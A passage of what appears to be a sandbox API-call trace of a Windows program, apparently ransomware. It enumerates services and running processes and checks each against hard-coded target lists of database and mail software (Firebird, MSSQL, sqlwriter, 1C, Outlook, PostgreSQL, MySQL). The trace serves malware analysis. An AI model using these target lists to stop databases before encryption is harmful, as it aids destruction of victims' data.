0xea [0162.216] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x687228 [0162.228] EnumServicesStatusExW (in: hSCManager=0x7263e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687228, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687228, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0162.229] CloseServiceHandle (hSCObject=0x7263e0) returned 1 [0162.229] lstrlenW (lpString="Appinfo") returned 7 [0162.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0162.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0162.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0162.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0162.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0162.230] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0162.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.230] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0162.230] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0162.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0162.230] lstrlenW (lpString="AudioSrv") returned 8 [0162.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0162.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0162.230] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0162.230] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0162.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0162.230] lstrlenW (lpString="BFE") returned 3 [0162.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0162.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0162.230] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0162.230] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0162.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0162.230] lstrlenW (lpString="CryptSvc") returned 8 [0162.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0162.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0162.230] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0162.230] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0162.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0162.230] lstrlenW (lpString="CscService") returned 10 [0162.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0162.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0162.230] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0162.230] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0162.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0162.230] lstrlenW (lpString="DcomLaunch") returned 10 [0162.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.231] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0162.231] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0162.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0162.231] lstrlenW (lpString="Dhcp") returned 4 [0162.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0162.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0162.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0162.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0162.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0162.231] lstrlenW (lpString="Dnscache") returned 8 [0162.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0162.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0162.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0162.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0162.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0162.231] lstrlenW (lpString="DPS") returned 3 [0162.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0162.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0162.231] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0162.231] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0162.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0162.231] lstrlenW (lpString="eventlog") returned 8 [0162.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0162.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0162.231] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0162.231] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0162.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0162.231] lstrlenW (lpString="EventSystem") returned 11 [0162.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0162.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0162.232] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0162.232] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0162.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0162.232] lstrlenW (lpString="gpsvc") returned 5 [0162.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0162.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0162.232] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0162.232] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0162.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0162.232] lstrlenW (lpString="iphlpsvc") returned 8 [0162.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.232] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0162.232] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0162.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0162.232] lstrlenW (lpString="LanmanServer") returned 12 [0162.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0162.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0162.232] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0162.232] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0162.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0162.232] lstrlenW (lpString="LanmanWorkstation") returned 17 [0162.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.232] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0162.232] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0162.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0162.232] lstrlenW (lpString="lmhosts") returned 7 [0162.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0162.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0162.233] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0162.233] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0162.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0162.233] lstrlenW (lpString="MMCSS") returned 5 [0162.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0162.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0162.233] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0162.233] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0162.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0162.233] lstrlenW (lpString="MpsSvc") returned 6 [0162.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0162.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0162.233] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0162.233] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0162.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0162.233] lstrlenW (lpString="Netman") returned 6 [0162.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0162.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0162.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0162.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0162.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0162.233] lstrlenW (lpString="netprofm") returned 8 [0162.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0162.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0162.233] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0162.233] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0162.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0162.233] lstrlenW (lpString="NlaSvc") returned 6 [0162.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0162.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0162.233] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0162.233] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0162.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0162.234] lstrlenW (lpString="nsi") returned 3 [0162.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0162.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0162.234] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0162.234] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0162.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0162.234] lstrlenW (lpString="PcaSvc") returned 6 [0162.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0162.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0162.234] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0162.234] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0162.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0162.234] lstrlenW (lpString="PlugPlay") returned 8 [0162.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0162.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0162.234] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0162.234] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0162.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0162.234] lstrlenW (lpString="Power") returned 5 [0162.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0162.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0162.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0162.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0162.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0162.234] lstrlenW (lpString="ProfSvc") returned 7 [0162.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0162.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0162.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0162.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0162.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0162.235] lstrlenW (lpString="RpcEptMapper") returned 12 [0162.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.235] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0162.235] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0162.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0162.235] lstrlenW (lpString="RpcSs") returned 5 [0162.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0162.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0162.235] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0162.235] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0162.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0162.235] lstrlenW (lpString="SamSs") returned 5 [0162.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0162.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0162.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0162.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0162.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0162.235] lstrlenW (lpString="Schedule") returned 8 [0162.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0162.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0162.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0162.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0162.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0162.235] lstrlenW (lpString="SENS") returned 4 [0162.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0162.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0162.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0162.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0162.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0162.235] lstrlenW (lpString="ShellHWDetection") returned 16 [0162.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.236] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0162.236] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0162.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0162.236] lstrlenW (lpString="Spooler") returned 7 [0162.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0162.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0162.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0162.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0162.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0162.236] lstrlenW (lpString="SysMain") returned 7 [0162.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0162.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0162.236] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0162.236] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0162.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0162.236] lstrlenW (lpString="Themes") returned 6 [0162.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0162.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0162.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0162.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0162.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0162.236] lstrlenW (lpString="TrkWks") returned 6 [0162.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0162.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0162.236] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0162.236] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0162.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0162.236] lstrlenW (lpString="UxSms") returned 5 [0162.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0162.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0162.237] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0162.237] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0162.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0162.237] lstrlenW (lpString="WdiServiceHost") returned 14 [0162.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0162.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0162.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0162.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0162.237] lstrlenW (lpString="WdiSystemHost") returned 13 [0162.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0162.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0162.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0162.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0162.237] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0162.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0162.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0162.237] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0162.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0162.237] lstrlenW (lpString="Winmgmt") returned 7 [0162.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0162.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0162.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0162.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0162.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0162.237] lstrlenW (lpString="WPDBusEnum") returned 10 [0162.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0162.237] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0162.238] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0162.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0162.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687228 | out: hHeap=0x630000) returned 1 [0162.238] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e0 [0162.239] Process32FirstW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.240] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.240] lstrlenW (lpString="System") returned 6 [0162.240] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0162.240] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0162.240] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0162.240] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0162.240] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0162.240] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0162.240] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0162.240] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.240] lstrlenW (lpString="smss.exe") returned 8 [0162.240] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0162.240] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0162.241] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0162.241] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0162.241] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0162.241] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0162.241] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0162.241] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.241] lstrlenW (lpString="csrss.exe") returned 9 [0162.241] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.241] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.241] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.241] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.241] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.241] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.241] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0162.241] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0162.241] lstrlenW (lpString="wininit.exe") returned 11 [0162.242] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0162.242] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0162.242] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0162.242] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0162.242] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0162.242] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0162.242] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0162.242] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0162.242] lstrlenW (lpString="csrss.exe") returned 9 [0162.242] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0162.242] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0162.242] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0162.242] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0162.242] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0162.242] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0162.242] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0162.243] lstrlenW (lpString="winlogon.exe") returned 12 [0162.243] Process32NextW (in: hSnapshot=0x2e0, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, 